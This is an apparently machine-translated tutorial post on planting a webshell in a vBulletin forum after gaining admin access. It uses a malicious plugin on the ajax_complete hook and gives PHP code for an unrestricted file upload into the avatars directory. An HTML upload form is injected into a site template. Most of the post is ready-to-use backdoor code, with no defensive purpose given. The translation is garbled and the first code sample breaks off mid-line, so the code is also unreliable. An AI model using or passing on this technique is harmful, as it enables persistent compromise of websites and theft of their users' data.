VBulletin uses webshell in the background

By Jk7ose

Today, I started watching the snow. vBulletin is used. It seems that there are no articles related to webshell in the background in China, so I went over the wall and made a record ..

Method 1: Select Plugin Manager under Plugins and Products, and then Add New Plugin on the right ), select ajax_complete in the "Hook Location" (do not know the miscellaneous translation), and write the Title at will, such as JK7OSE. Then the key point is "Plugin PHP Code" (plug-in PHP Code ), input if (isset ($ _ GET [jkrose]) {echo "

Method 2: the front side is the same, and a code is written in the code to receive the upload:

$ Target_path = "images/avatars"; // note that the permission must be writable.

$ Target_path = $ target_path. basename ($ _ FILES [uploadedfile] [name]);

If (move_uploaded_file ($ _ FILES [uploadedfile] [tmp_name], $ target_path )){
Echo "The file". basename ($ _ FILES [uploadedfile] [name]).
"Has been uploaded ";
} Else {
Echo "There was an error uploading the file, please try again! ";
}

Then access ajax. php will prompt "No input File Specified" and so on. If it does not appear, it will certainly have a problem. If it appears, continue to the following: anywhere on the website, as long as you can write HTML code, write an upload, for example, where the template is edited, and write an upload code:

<Form enctype = "multipart/form-data" action = "ajax. php" method = "POST">
<Input type = "hidden" name = "MAX_FILE_SIZE" value = "100000"/>
Choose a file to upload: <input name = "uploadedfile" type = "file"/> <br/>
<Input type = "hidden" name = "s" value = "$ session [sessionhash]"/>
<Input type = "hidden" name = "securitytoken" value = "$ bbuserinfo [securitytoken]"/>
<Input type = "submit" value = "Upload File"/>
</Form>

The storage is complete. If the new style is added, you need to switch to the lower-left corner of the website to use it.